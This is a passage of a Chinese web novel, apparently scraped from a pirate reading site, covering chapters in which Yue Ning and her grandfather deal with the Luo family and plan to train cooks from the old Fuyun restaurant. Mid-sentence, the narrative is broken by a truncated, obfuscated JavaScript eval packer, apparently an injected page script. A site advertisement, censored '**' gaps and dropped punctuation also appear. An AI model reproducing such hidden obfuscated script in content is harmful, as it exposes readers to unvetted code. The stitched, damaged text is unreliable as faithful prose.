父子俩都是圆脸盘，长相颇为相似，但气质却大不相同。罗国强的圆脸给人一种敦实的感觉，而他父亲罗世昌的圆脸则透着世故圆滑。 岳宁也跟着叫了一声：“罗伯伯好。” “一转眼，宁宁都比我高了。”罗世昌慈爱地看着岳宁。 在这个物资匮乏、大家普遍营养不良的年头，男人身高超过一米七就算高个子了，更别提岳宁这样的姑娘。 罗国强一心想着做菜：“宁宁，我跟我爸说了，一定要请你和我一起做几个菜。我还拟了一张菜单……” 罗世昌无奈地拉住自家冒失的儿子：“你向你岳爷爷和宁宁请教做菜是次要的。主要是我们一家人要向你岳爷爷和宁宁赔礼道歉。你就一门心思拉着宁宁教你做菜。还提什么菜单，你光想着让宁宁跟你做菜，都不让人家吃饭啦？” “哦！”罗国强委屈地闭上了嘴。 “岳宁，去拿钥匙吧。”乔君贤提醒道。 岳宁走到前台拿了钥匙。岳宝华不想在大堂里吵吵嚷嚷地说话，便说道：“世昌、国强，一起去房间里聊。” 父子俩跟着他们走进电梯。这次他们和乔家父子住在同一楼层，乔君贤的房间就在岳宁房间隔壁。乔君贤扬了扬手中的一叠纸：“等你这边事情结束了，来找我填表格，填完我明天带回去。” “谢谢！”岳宁又对着开门进房间的乔启明说，“乔爷爷，晚安！” “晚安！”乔启明回应了她一声。 岳宝华带着父子俩走进房间，岳宁放下行李后马上前往爷爷的房间。 她提起暖水瓶，给父子俩倒上茶水：“罗伯伯、国强哥，喝茶。” 她在岳宝华身边坐下。罗世昌微微叹了口气：“上次，宝华叔回来，听说志荣没了，伤心极了。后来国强母子俩去西北，国强回来兴奋得不得了，说从宁宁这儿学到了拆鱼羹的新做法。当年粤城有两家名店，陆家菜北上成了官府菜，福运楼扎根本地，号称粤菜第一招牌。这几年过去，我爸走了，志荣也没了，而我呢，天赋有限，福运楼丢失了 不少技艺。 听到这些，岳宝华心里难免难过，岳宁却把话听进了耳中，问道：“现在福运楼缺厨师吗？ “厨师倒是不缺，就是有几道传统菜肴已经没人会做了。罗世昌叹息道，“尤其是福运楼的招牌菜乾坤烧鹅，如今我多次尝试，也做不出我父亲当年的味道。脆皮糯米鸡，也没人有这手艺能做了。 乾坤烧鹅，简单来说，就是在烧鹅肚子里放上类似佛跳墙的食材，但烧鹅的火候要和肚子里这“乾坤的火候完全一致，实在难以掌控。脆皮糯米鸡是一道民国时期的菜肴，也是在鸡肚子里填充食材。食材常见，难就难在要把鸡内腔的骨头全部拆除，且鸡皮不能有丝毫破损，填充糯米等食材后，外观还得保持整只鸡的模样。 “师兄弟当中，最出色的就是志荣，要是志荣还在，这两道菜也不至于失传。罗世昌幽幽地叹了口气，看向罗国强，“我没什么天赋，国强在这帮师兄弟里算是资质最好的，也愿意学，只是我这手艺，没法再教他更多了。 目前宝华楼正缺优秀的厨子，祖孙俩也看好罗国强，可这并不意味着他们心里对罗家两口子曾想让罗国强娶岳宁的事毫无芥蒂。这会儿罗世昌又提及这些，岳宝华心里已经有些不悦了。 罗世昌往后退了一步，对着岳宝华跪了下来。岳宝华连忙起身说道：“世昌，你这是干什么？ 第 30 章 灵光一闪 第30章第30章 【灵光一闪】 “宝华叔,我不求您原谅，只赔罪。当年本该我爸去港城，您留下……” “世昌,人世无常,谁也不知道后面会发生什么。”岳宝华扶起他,“你起来。” “您让我把话说完。我爸跟我说过，您回来之后又去港城，也是他鼓励的,他怕您回来了，他福运楼大师傅的位子就不保了，他答应您会照顾好志荣。您出去的那些年，您给我爸寄钱寄东西,我结婚的时候,您又寄了一大笔钱给我。您没欠罗家任何东西，反而是罗家占了不少便宜。可后来我只顾着自己,我爸**，志荣知道自己时日无多，我和志荣一起长大,作为他的哥哥,他写信过来，让我照顾宁宁，我却什么都没做。您从港城回来，说要找宁宁，我听了丽芬的话,也起了歪念头,说什么让最有本事的国强和宁宁领证，对宁宁也是好的。这话都是假话,无非是您在港城有家酒楼，国强手艺好，打了这么个主意。”罗世昌跪在地上声泪俱下，给岳宝华磕头。 岳宝华上一次遇到这样声泪俱下的场景，还是他给丁胜强第一次还清赌债的时候。没过一年，丁胜强又欠了赌债，而且欠得更多，自己不肯再帮他还了，最后落得什么下场呢？ 岳宝华看向罗国强，不免有些可惜，又想起师兄。师兄对志荣父女俩是真心好，就算张丽芬搞出那么一件事来，他们祖孙俩，还是看在师兄的份上，看在罗国强本身的份上，想带罗国强去港城。现在看来，这件事只能作罢了。 岳宝华放开了罗世昌：“世昌啊！今天太晚了，我也累了，你们先回去吧！” “宝华叔……”罗世昌没得到答复，还不肯起身。 “罗伯伯，我爷爷腿有静脉曲张，让他早点休息吧。”岳宁说道。 罗世昌没有得到确切的答案，却也无可奈何。 罗国强还想跟岳宁说些什么，岳宁说：“国强哥，我晕飞机啊！坐了八小时飞机，你想想看累不累呀？” “是我不对，那明天呢？” “明天的事，明天再说，不过明天上午我们还要休息，明天下午或者晚上，咱们再聊？” “好吧！” 祖孙俩送父子俩出门，岳宝华看向岳宁，岳宁无奈地一笑：“他们的如意算盘落空了，我们的如意算盘也落空了。” 岳宝华跟着笑了笑：“还能怎么办？ 到了楼上，岳宁说：“不管了，我先去找乔君贤，把表格给填了。 岳宁又说：“爷爷，别多想。好好睡一觉。 等岳宝华进了房门，岳宁去敲乔君贤的门。 房门拉开，果然是乔君贤，“砰的一声，门又被关上了。岳宁看着关上的门，脑子里浮现刚才那一幕，乔君贤好像上身没穿衣服？他关门的速度太快了，她都没看清他的身材，不知道是不是和他那张脸一样出众。 门再次拉开，乔君贤身上已经穿上了睡衣：“进来。 岳宁走进去，乔君贤指着书桌说：“你先看看，看完之后，我们一起填。 岳宁翻看表格，一张表格后面，对应着一张稿纸，稿纸上已经写了一些填写内容的示例。她抬头问道：“这是你写的？ “嗯，正式表格最好不要涂改，所以我给你举了例子。不懂的就问我。 “我也在稿纸上预先写一遍，再照抄上去。岳宁拿起桌上的钢笔。 乔君贤给她倒了一杯水过来，低头看她写字，她写字的姿态真的让人看着舒服。 岳宁在稿纸上写了一遍：“你看这样行吗？ 乔君贤弯腰查看，岳宁抬头，刚好看到他弯腰后露出的胸膛。 岳宁转过头去，告诉自己，男人露出这么一片胸膛算什么？男人泳装上面两点都不遮，好不好？ “可以。填好之后，担保人这里，你拿去让华叔签名。还有，等下靠墙站，我给你拍张照片**照。说着，乔君贤转身去拿照相机。 岳宁填着表格，听乔君贤问：“你什么时候跟罗国强比拆鱼羹？我明天下午才走，不知道有没有口福？ “没有了。 “为什么？ “唉！岳宁叹了口气，“罗国强真是一颗好苗子。可惜…… 岳宁把罗世昌刚才的举动说了出来：“都做了这种事，还想道德**，这罗国强就算再好，也不能带他去了吧？ 岳宁表格也填完了，乔君贤把靠墙的单人沙发搬走：“你站那儿。 岳宁靠墙站好，乔君贤的镜头对准她：“没事，这个不合适，就再找下一个。 “哪有那么容易？原本想着福运楼和宝华楼一脉相承，这个罗国强过来就能用，我也能有个自己能用得上的帮手…… “头往右偏一点，下巴低一点。好，就这 样。乔君贤按下快门，“福运楼能用的，又不是只有罗国强一个。就算有我爷爷帮忙，就算港城有抵垒政策，移居很方便，审批也总要几天时间。就凭你这本事，去福运楼打听两个能用的厨子还不行？罗家夫妻这么精明，你罗伯伯又是福运楼的大厨，在他手下做厨子，恐怕日子也不太好过吧？ 岳宁过去拿表格，乔君贤放下相机：“你去问问你爷爷，他给几个徒弟每个月多少工钱。反正港城普通工人一个月一千五，有手艺的厨子肯定比这个多吧？内地的工人，五六十块就算多的了，七八十块那是高薪水了。给他们一个赚一千五港币，折合下来五百多人民币的机会，你说他们愿不愿意去？ “你这是建议我薅社会主义羊毛吗？岳宁像条咸鱼一样瘫在沙发里。 虽然老字号大多数都会在市场的洪流里没落，然而若是自己成了那只推手，终究会有那么一丝愧疚。 怎么说呢？自己原本的想法，带着罗国强去港城，不也是挖墙角吗？好吧！自己向来就是这么“厚脸皮。上辈子明明打着粤菜的牌子，做着改良粤菜，赚得盆满钵满，还去做高端线，一定要大家承认自己是正宗粤菜大师，真是太“典了，不要脸，简直臭不要脸。 “也不算是薅什么羊毛，跟陈先生聊了一路，从国门打开，上头就定了基调，要发展经济。你把他们挖到港城，他们赚了钱，再回到粤城开酒楼，不就为国内建设增添活力了吗？乔君贤坐下，“你开酒楼还能直接用他们呢。我们做船运的，内地跟外头相差太大了，还得想办法培训他们，教会他们国际标准，我爷爷正为这事头疼呢！ 岳宁手指戳着太阳穴，总觉得有什么点子呼之欲出。教？她拍了下扶手：“乔君贤，你可真聪明。 她一惊一乍的，还表扬他聪明，问题是他说了什么特别的吗？他不就是抱怨内地现在什么都缺、什么都不行吗？ “兄弟，你听我说，你看这样行不行？岳宁把想法告诉他。 上辈子宁烧腊日本横滨店的店长，是一位九十年代后期去日本的姐姐。她当年从西南山区去苏州一家日资服装厂打工，这家工厂宣称只要干得好，就有机会去日本总部做两年研修生。那时候她在苏州拼死拼活踩缝纫机，一个月工资不到一千块，去日本能学习技术，还有三千块工资，这对所有人来说，吸引力都非常大。她 的努力得到了回报，终于获得了这个机会。 去日本之后，才知道所谓的研修学技术，实际上就是换个地方踩缝纫机。不过她看得很开，一样是背井离乡，一样是早八到晚八、晚八到早八地倒班，工资却是国内的三倍，有什么不满意的？ 在工厂里，这位姐姐也认识了她的老公，一个从北海道乡下来打工的男人，她留在了日本。 日本研修生打着学习技术的幌子招劳工，自己却是真给人机会培训。 岳宁说：“罗世昌也说，随着罗爷爷和我爸的去世，有几道名菜已经失传了。我想的是，正大光明地跟福运楼合作，在他们楼里选拔优秀的厨子，去宝华楼培训，同时也做工，拿宝华楼同级别厨子七成的工钱，但是包吃包住。两年为期，到期回福运楼。最重要的是，宝华楼缺厨子的问题解决了。而且咱们不是薅羊毛了，而是上升到饮水思源、乌鸦反哺的层面上来。惠及的是福运楼所有的青年厨师，让这些青年厨师都能有出头的机会。” “你想出了这么个点子，却说我聪明？你这是讽刺我呢？”乔君贤无语地看着她。 岳宁皱起眉头：“大哥，你搞清楚，没有你提到培训，我怎么会灵光一闪？鲁迅先生说过：天才就是1%的灵感加上99%的汗水。没有你的灵感，我后面也发挥不出来。” 这些现在都不是重点了，乔君贤现在关心的重点是：“你确定鲁迅先生说过这句话？” “不知道名言是谁说的，通通都算鲁迅先生说的。”岳宁拿起桌上的表格，“我找我爷爷去签字了。” “都几点了？你爷爷早睡了吧？”乔君贤指着桌上的小钟。 啊哦！都快十二点了。岳宁拿着表格走到门口：“不好意思，也耽误你睡觉了。晚安！” “你们找福运楼的上级单位恐怕比较困难，明天早上我们一起找我爷爷商量，让他出面找当地政府，跟他们说，你们得知现在福运楼手艺传承遇到问题，主动提出这样的合作方式，怎么样？” “谢了。”岳宁连连点头，“咱俩可真是一对‘臭皮匠’，凑一起能顶诸葛亮。” 乔君贤没好气地说：“谁跟你一对？” “我是说在出主意、拿主意方面，咱们可以组队。怕女朋友吃醋吧？知道了，我以后注意。”岳宁还是抑制不住兴奋，眉飞色舞的。 乔君贤没好气地回应：“我没有女朋友。” “面包会有的，牛奶也会有的，女朋友也会有的。以后你追女孩子，我就是你的狗头军师。岳宁拉开门出去，却看见爷爷在走廊里抽烟。 “爷爷！？大半夜的，爷爷抽什么烟啊？ 岳宁替乔君贤关上房门：“爷爷，表格里需要你填几项内容，要不现在就填了？ “好。岳宝华拉开门，岳宁跟着进了他的房间。 岳宁指着格子，让爷爷把亲属信息和担保人承诺填好。 “爷爷是担心国强哥不去港城，宝华楼一下子人手不足吧？岳宁嘿嘿一笑，“刚才我在乔君贤那里填表格，跟他聊着聊着，就有了个主意。我看您不解决这事，也睡不着。就不拖到明天了，我跟您说…… 事情刚刚发生，孙女又有了办法，岳宝华发现找到孙女后，自己都不用动脑子了。 “好，听你的。 “那行！太晚了，我回房了。岳宁站起来。 岳宝华想来想去，还是决定跟孩子说：“宁宁。 “嗯？ “以后……晚上不要跟男孩子单独在一起。岳宝华说这些话时，异常艰难，不说出来，今晚他可能又睡不着了。 岳宁明白了爷爷担忧的点，笑出声来：“我以为经过昨晚，乔爷爷才会担心他孙子跟我单独待一起呢！ 岳宝华想起北京的**说的话，**被一拳打落门牙，吓得尿裤子…… * 福运楼最早建于清道光年间，后来福运楼老板赚了钱，于八十年前搬迁到了粤城中心地段，珠江边上的一栋欧式建筑里。 粤城最好的粤菜酒楼是一栋欧式建筑，这本身就说明了粤城的历史。作为一个通商口岸城市，这里汇集了南来北往的客流，东西方文化在这里交融汇合。 快到饭点了，一个戴着黑框眼镜、穿着白色短袖衬衫和黑裤子的男人锁好自行车，走到福运楼大门口，仰望招牌。上头是“国营两个字，下面是“福运楼 走进福运楼，大概还没到用餐高峰，里面还不是很热闹。他找了一个靠窗的位子坐下，等服务员过来点菜。 等了两三分钟，明明不忙，也不见服务员过来。 那就耐心等，看看要等多久。 “周老，你为什么跟服务员说，一定要吃罗大厨做的拆鱼羹？一个声音从后面传来。 他转过身看见后面一桌坐着一位六七十岁、胖胖的老爷子和一位三四十岁的女同志桌上空空的估计刚点了菜还没上。 “要不是罗世昌的拆鱼羹还能入口我大概都不会来福运楼了。福运楼现在还能吃的也就罗世昌的几道菜了。不过也就是尝尝味道让我回忆回忆当年罢了。”老爷子唏嘘了一声。 “当年的福运楼怎么样？”这位女同志很感兴趣地问。 “福运楼最辉煌的时候那时老罗师傅带着他最得意的徒弟小岳师傅秋季的一道菊花五蛇羹整个粤城找不出第二家能比得上的。虾子柚皮把粗菜细作发挥到了极致最最让人称赞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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润是一种感觉感觉这种东西实在很难说清楚。老爷子吃完一块鸽子肉都没解释清楚一副跟你们这些不懂行的人说太累的样子。 他们这桌的拆鱼羹上来了老爷子奇怪：“今天怎么上得这么早？” “上得早还不好吗？”服务员低头斜眼下巴都叠成三层看着他。 老爷子说：“拆鱼羹的鱼是现杀现煎现拆这么短时间就做好了？是不是拿早就拆好的鱼来糊弄我？” “不是你这地主老财怎么这么多事儿啊？还折腾我们劳动人民。”服务员脾气上来了。 这些话勾起了老爷子不堪的回忆胖脸涨得通红。戴眼镜的同志站起来沉着脸对服务员说：“去把你们经理叫过来。” 那个服务员还想说些什么这时一个身着厨师服的人飞奔过来弯腰赔礼道歉：“周爷爷您别生气都怪我。他们下单的时候说您指定要我爸做的拆鱼羹。这几天我做的拆鱼羹客人吃了都说好。今天瞧见您来了我就从我爸那儿抢了这单子想给您做一回拆鱼羹 罗国强这般诚恳地道歉老爷子的怒气渐渐消了：“国强啊没事儿没事儿我先尝尝。” 罗国强拿起碗舀了一勺拆鱼羹装进碗里恭恭敬敬地端给老爷子：“周爷爷做得好与不好您都尽管直说我听着。” 边上有人问道：“这老头是谁呀？” “周三爷解放前的西关阔少福运楼几十年的老主顾了。”有人解释道。 一勺拆鱼羹送入口中老爷子原本眯着的眼睛猛地睁开这个表情把罗国强吓得额头直冒冷汗。 老爷子问罗国强：“这拆鱼羹真的是你做的？” 罗国强点头道：“ 是啊！ 他的心都快提到嗓子眼儿了，问道：“周爷爷，我做得火候还不够吗？ “你这是跟谁学的？这……这有你志荣叔的味道啊！可你志荣叔不是在西北去世了吗？老爷子声音发颤地问道，“你爸做的拆鱼羹，就差你志荣叔做的那一点点香气。你这碗里有啊！国强啊，你开窍了！你爷爷后继有人了！我吃第一口的时候，还以为这拆鱼羹是你志荣叔做的呢！ “啊？罗国强愣住了。 老爷子又喝了一口：“真有，真有啊！你志荣叔也是在你这个年纪领悟到的。有出息啊！ “不是不是！不是我自己悟出来的。罗国强连忙摆手，“我去了西北，是志荣叔的女儿宁宁教我的。把鱼拆了之后，再入锅炒一下，能留下一点焦香气。还有啊，宁宁还教我，先拆鱼骨再煎鱼，这样能节省很多时间。 说的域名ｃａｉｘｓ．ｃom?(请来才小 说 看最新章节 完整章节) “志荣的女儿？那孩子跟着他爸去西北的时候，我记得还没桌子高呢。 “现在可长高了，都快赶上我了。 “国强，你还得去掌勺呢！有人喊罗国强。 “马上来，马上来。罗国强笑得合不拢嘴，他弯腰致谢，“周爷爷，我去做菜了啊！以后您可别再挑我爸还是我做的了。 “小子，我就挑你。老爷子指着罗国强说道。 罗国强兴高采烈地跑进去了，老爷子招呼戴眼镜的同志说：“拆鱼羹得趁热吃，凉了香气就散了。 戴眼镜的同志吃着拆鱼羹，味道确实不错。他是个外乡人，不太懂这里面的门道。只听老爷子说：“拆鱼羹，用料都很普通，就是家常食材，不嫌麻烦的话，自己在家也能做。但要做到鲜香味美、爽滑润喉，可不容易。我吃过最好吃的拆鱼羹，是刚才那个厨子的师叔做的。可惜啊，那么好的一个人，去了西北，没了。 “这个小师傅，肯钻研，看来福运楼还是有人才的。 “话虽这么说，他肯学是好事，可他爸也就半桶水，又能教他多少呢？ 老爷子正说着，服务员又来上菜，依旧给他摆脸色。 女同志劝道：“您老就好好吃饭，别招人讨厌了。 “吃饭，吃饭，不说了。 老爷子这么一说，戴眼镜的同志可不乐意了：“老同志，我还等着听呢！ “先吃，先吃。吃完了再说。 第 31 章 爸爸的老食客 第31章第31章 【爸爸的老食客】 老爷子同桌的女同志对这位戴眼镜的同志白吃白喝很是不满,尤其是吃到最后，他还借口去卫生间。 女同志跟老爷子说：“吃好了，抹抹嘴就走吧。您还真把他当知己了？被人白白占了便宜吧？” “你啊！”老爷子摆了摆手,“不懂看人。” 正说着,那位戴眼镜的同志回来了,他坐下，等着老爷子吃饱喝足。 老爷子起身说要去结账，他笑着说：“我已经结过了。我想请教周老,怎样能让周老请客呢？能不能再耽误周老一些时间，给我讲讲这福运楼的情况？” 老爷子看向陪自己来的女同志，伸手说道：“我家就在附近，要不,去我家喝杯茶？” “打扰了。” 出了福运楼,这位同志推着自行车，和老爷子一起走。老爷子问：“同志,你是新上任的领导，来微服私访的吧？” “什么微服私访，就是来看看。我是二商局新上任的局长宋自强。” 二商局负责全市副食品、饮食、服务行业以及摊贩的管理。这本是一个按部就班的部门,老爷子听他说,改革开放了，粤城是离港城最近的大城市，以后将成为对外的门户。上级领导表示要做好服务业和接待工作。 前几天，他走访了两家涉外酒店，今天来到粤城声名远扬的福运楼,每多走访一家,就多一分烦恼。 “我一下子也摸不着头绪，听您说话,就知道您是行家，想请教一下，福运楼这个困局，该怎么破解？”宋自强向老爷子请教。 “难啊！”老爷子跟他讲述起福运楼的前世今生。福运楼从道光年间开业，一直是粤菜中叫得上名的酒楼，真正成为粤菜第一招牌，要追溯到三十年代中后期，这又和一对师兄弟有关。师兄罗长发厨艺精湛，师弟岳宝华更是厉害，福运楼一时间风光无限。1937年后，福运楼老板为了分摊风险，去港城开了分号，带上了罗长发。 讲到这里，便到了老爷子的家。 宋自强抬头望去，这是一栋西关大屋。清代粤海关和十三行成立，粤城成为全国举足轻重的通商口岸，西关这里是粤城的中心，富商云集，在此建造了一栋栋豪宅，老爷子家便是这样的大屋。 大屋的门有三道，第一道是矮脚吊扇门，第二道是 趟栊门，第三道是红木大门，十分气派。 老爷子领着他来到门厅右侧的庭院，一棵桂花树郁郁葱葱，只是树下的假山已经破败，鱼池也干涸了。老爷子笑着说：“政府刚把这宅子还给我，还没来得及好好收拾，见笑了。” “哪里！”宋自强坐下。 老爷子提来一壶水，生起炭火开始烧水，接着继续讲述福运楼师兄弟俩的事：“港城被日军占领的那三年，日军把港城的储备粮都运到了东南亚战场，那三年普通人活下来都艰难，罗长发历经千辛万苦才得以存活。战后福运楼老板想再去港城开店，罗长发说什么都不肯去了，所以岳宝华就去了港城。” 老爷子幽幽叹气：“但福运楼似乎与港城相克，没几年，港城的福运楼就被卖掉了，岳宝华又跑了回来。听说后来他想自己闯荡一番，又去了港城，那时他还时常回来，后来就回不来了。老罗为人实在，他一直觉得师弟是为了不让他为难，所以再次前往港城，他对岳宝华的儿子也是尽心尽力，毫无偏心，当然，他对其他徒弟也同样尽力。这个小岳比他父亲年轻时，手艺还要好，而且他还喜欢研究，不管是古菜谱，还是其他菜系，一有新口味就会请我尝尝，让我提提建议。本应能挑起福运楼传承大梁的人，却没能逃过一劫啊！” “怎么回事呢？” 老爷子洗净茶盏，开始泡茶：“事情出在他娶的那个老婆身上。你知道，食品商店和福运楼都隶属于二商局，领导觉得小岳长得帅气，手艺又好，就给他介绍了食品商店的一枝花。谁知道这个女人野心勃勃。别人逃往港城是因为活不下去，她呢，丈夫有手艺，孩子也生了，居然也跑了。这下可把小岳害惨了，小岳就这么带着女儿去了西北。连带老罗也受到连累，他性子耿直，觉得没能照顾好侄子，心里愧疚。那些日子里，老罗去世了。只能由老罗的儿子顶上，罗世昌的手艺只有他父亲的七八成。” “这几年就没培养出有本事的厨子？” 老爷子喝了一口茶：“罗世昌本事不如老罗，心眼还比老罗多。老罗带徒弟尽心尽力，以前岳志荣在的时候，岳志荣也乐意教人，那时厨子们天分有高有低，但该会的都会。罗世昌却教一半留一半，他本身就比他父亲差了几成，他带的那些徒弟又只能从他身上学一半，如此一来，能学到的就只剩一角了。再经过这么些年的折腾，你说 这福运楼还能剩下几成？” “老罗的其他几个徒弟呢？” “手艺好的那个去了干休所手艺一般的那个去了利群饭店。” “刚才那个年轻厨子呢？” “罗世昌的大儿子这是个好苗子天分虽说不是特别高关键是肯钻研。不过有些菜没人会做了那可就真没人会了。”老爷子叹了口气“也就是我这个半截身子入土的老头子还心心念念那几个菜这都新时代了那些菜确实费时费力也不是普通劳动人民能吃得起的没有就没有了吧！” “还是您那句话说得对这是中华饮食文化。再说生活条件总会越来越好的如今大部分人吃不起这样的菜不代表以后也吃不起。难道等以后吃得起了这些菜就只能存在于前人的文字描述中了？更何况现在改革开放了国门打开了粤城多年来一直是口岸城市回来的华人华侨、前来的外国友人想要尝尝粤菜最后却只剩下几样家常菜这还怎么体现咱们粤菜的江湖地位呢？” “可不是嘛！想当年粤菜北上在北京也是响当当的名号政界、军界、商界、文化界的名流要人都以能请上一席陆家菜为荣提前半个月甚至一个月预订都未必能订得上。在上海最有名的酒楼大多是粤菜……” 老爷子从福运楼的风光数到民国时期粤菜在京沪两地的风靡为如今粤菜面临的危机而痛心。心痛之余他从盘子里拿起一根香蕉递给宋自强。 宋自强摆摆手老爷子气鼓鼓地把香蕉塞进嘴里再气也不能亏待自己的肚子。 宋自强笑着站起身来：“周老谢谢您先让我回去想想过两天再来向您请教。” “行老头子我也没什么事下次来之前提前跟我说一声来我这儿吃饭。我做不来那些复杂的菜但也有几个拿手菜咱们一起喝两盅。”老爷子说道。 宋自强点头：“那就说定了。” 宋自强走出周家大门重重地叹了口气。想想那个服务员的态度再想想周老说的话他就头疼。 回到局里他在车棚停车听到有人咋咋呼呼地喊：“宋局长宋局长。” 他锁好车 领导来电宋局长大步朝里走去走进办公室拿起电话接通主管副市长办公室 的电话。 他听到：“港城宝华楼？岳宝华？！好的，好的，朱副市长，我马上前往粤城宾馆。” 他知道唯物主义不能迷信鬼神，但这也太巧了吧？他正想要解决福运楼的问题，相关的人就出现了？ 他走到门口：“老胡，车在吗？” “在。” “我要去粤城宾馆，先去西关接周老爷子。”宋自强说道。 “周老爷子？周三爷，周宣雄？”老胡问。 “我不知道他全名，不过应该是你说的这个人。” 老胡去叫了局里唯一的小车，两人上了车。宋自强又问：“这位周三爷是什么人？” “他年轻时可是个人物。日本人占领粤城后发行联银券，一边吸收法币套取港币，换取物资，一边贬低法币兑换联银券的汇率。他联合银行界人士，维持法币汇率，法币比联银券汇率高，群众担心联银券贬值，纷纷存法币、买物资，联银券信用遭遇危机，发行不畅。新中国成立后，他又带头公私合营。前些年受了些苦，属于第一批摘帽的，政府也把周家大宅还给他了。” 宋自强笑了：“竟然是这样一位人物。” “周老就好美食这一口。原本以他的背景，就算是那些年也轮不到被批，就因为他私下说，粤城的饭店变成国营之后，味道不如解放前好了，这才被批了。” 宋自强摇了摇头：“大实话，却不能说。” 车子到了周家大宅门口，宋局长下车，走到矮脚门前，朝里望去，老爷子听着收音机，正在喝茶。他喊了一声：“周老。” 老爷子抬起头，宋局长笑着说：“岳大厨就在粤城，我来接您一起去见他。” “什么？”老爷子瞪大了眼睛。 “港城富商乔启明老先生找到朱副市长，说福运楼出身的岳宝华岳大厨得知了福运楼的情况，想问问我们，需不需要他的帮助。你说这是不是想到一块儿去了？”宋自强抑制不住兴奋地说。 老爷子回头说了一句：“阿芳，我出去了。” 他的保姆阿芳出来问道：“您去哪儿啊？” “粤城宾馆。”别看老爷子胖，只要一听到与吃有关的事，腿脚就格外利索，跑得飞快，跟着宋自强上了车。 “他这次是去西北接小岳师傅的女儿和小岳师傅的骨灰，要在粤城停留两日。我接到电话就想到了您，您和他们父子两代都有交情，熟人见面，说话也方便些 。” “我大概一个月前，听福运楼的人说，岳宝华来过，他听说小岳师傅没了，就回去了。没能见他一面，还有些遗憾。我对岳宝华，也就记得他的人和他做的菜，交情不算深，真正能和我交心的是小岳师傅，他对做菜的钻研……”想起那个年轻人，老爷子不禁难过起来，“就不明白，那个女人怎么就那么狠心，丢下这么好的一个男人，跑去港城呢？港城再好，能有这么有才华又谦逊的人吗？要是小岳在，现在福运楼哪会有这些问题？他肯定能把下面这帮小子带得好好的，不会像罗世昌那样，半吊子教出一群三脚猫……” 老爷子年纪大了，话匣子一打开就收不住，骂骂咧咧了一会儿，粤城宾馆就到了。 三个人一起下车，走进粤城宾馆。胡主任到前台询问：“请问港城来的岳宝华先生……” 前台还没来得及回答，周老爷子就叫了起来：“在这儿，在这儿。” 岳宝华看到了故人，喊道：“周三爷。” 岳宁看见一个胖乎乎的老爷爷走了过来，多年前的记忆提醒她，这是…… “周爷爷。”岳宁眼眶发热。 “阿女！”周老爷子先回应了岳宁，看到这个孩子，他就想起那个有了新点子，就跑到他家做菜的小岳。 岳宁没想到会见到爸爸的食客，那个比罗爷爷还懂爸爸做菜的周爷爷，一开口就叫她“阿女”。 老爷子仔细打量岳宁：“白白胖胖的小姑娘，怎么变得又瘦又高又黑了？” 岳宁刚要落下的眼泪收了回去：“您倒是和以前一样胖。” “你还记得我？” “记得，您让爸爸做菜，怕我调皮，就给我买一包酥糖。我的乳牙就是这么吃坏的。”岳宁噘着嘴说。 周老爷子伸手摸了摸她的脸：“没有我给你糖吃，你都瘦成什么样了？” 岳宁伸出手：“周爷爷，糖呢？” “等会儿给你买。” 周老爷子看向岳宝华：“宝华，咱们多少年没见了？” “快二十五年了。” 周老爷子重重地叹了口气，那些话已经说过太多遍，不想再说了。他转头介绍道：“这就是咱们粤城二商局的宋局长和胡主任。” 岳宝华与两人握手：“岳宝华，福运楼出去的老厨子。” “听周老说起过岳大厨的大名了。” “别站着了，去咖啡厅聊吧。”周老爷子说道。 几个人一同前往咖啡厅，周老爷子让岳宁坐在他身边。点完饮料后，周老爷子问岳宁：“阿女，你这是刚从西北回来？” 岳宁看向爷爷说：“是啊！爷爷请港城的乔爷爷帮忙，他亲自去西北把我接回来。您是爸爸的忠实食客，乔爷爷是爷爷的忠实食客。” 周老爷子看着岳宁：“受了不少苦吧？” “如果爸爸还在，吃再多苦都值得。只是……”岳宁苦笑着摇头，“月有阴晴圆缺，人生总归会有缺憾，对吧？” “对。”周老爷子勉强挤出一丝笑容。 岳宝华开口道：“三爷、宋局长、胡主任，是这样的……” “等等，宝华啊！这是内地，新中国都成立这么多年了，三爷这种旧社会的称呼可不兴了，叫我一声‘老周’就行。” “这……”岳宝华对这位当年敢顶着日本人干的周自雄，叫一声“三爷”是发自内心的尊敬。 “岳大厨，您就像我一样，称一 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宋局长笑着摇了摇头，他说：“不瞒岳大厨，我们确实也为福运楼的传承问题头疼。但您往返港城和粤城不太方便，况且您在港城也有酒楼，恐怕没办法长时间离开吧？” “你们也说了，世昌心胸不够宽广。就算我来福运楼教，他恐怕也不高兴，未必会好好配合。我想在年轻一代的厨师里挑选两到三个基本功扎实、勤奋好学、肯吃苦的，带他们去港城宝华楼，在宝华楼做两年 学徒，然后让他们回来。就像留学一样，福运楼外派人员出去学习两年。宝华楼按照港城市场薪资的七折给他们发生活费，还包吃住。他们有基础，两年肯定能学有所成。”岳宝华提出了这个方案。 “这个机会确实很好，真能学到技术。不过按照港城市场薪资的七折发生活费，怕是太多了，到时候他们可能就不愿意回来了。”宋局长担忧地说。 岳宁笑着说：“宋局长，宝华楼不会克扣任何人的劳动所得。七折加上吃住，再加上相关保险，刚好是一个人的用工成本。这里面的薪资差距，会不会导致去了港城的人不愿意回来？我想肯定会。这是开放以后必然要面对的情况，不是吗？我们只能和你们签订协议，培训人员在培训期结束后，宝华楼不会录用他们。其他的，你们自行考虑。毕竟这涉及到两边发展不同步的问题。不过有人会往高处走，也有人会坚守本心，送出去十个人，就算回来三四个，那也不错，不是吗？” 宋局长无奈地说：“是啊！现在公费送出去留学的人，也是这样，谁知道他们会不会回来呢？” 周老爷子想起今天罗国强说的话，他问：“阿女，我今天吃小罗做的拆鱼羹，吃出了你爸爸的味道，他说是你教他的。” “他和他妈去西北找我。”岳宁凑在老爷子耳边说，“不过他妈就没安好心，是先知道了我爷爷在港城有家酒楼，她打着让我回粤城的旗号，想让我和罗国强结婚，算盘打得好吧？” “一个被窝睡不出两样人，真是一对好夫妻。”周老爷子骂了一句。 “我当时做这个拆鱼羹，也存了些炫耀的心思，就是想让他们母子俩清楚自己有几斤几两。”岳宁骄傲地说道。 周老爷子满脸惊讶：“你在西北竟学会了你爸的手艺？” 岳宁信心十足地回应：“没错！” “这……西北那地方，能学粤菜？”周老爷子实在难以相信。 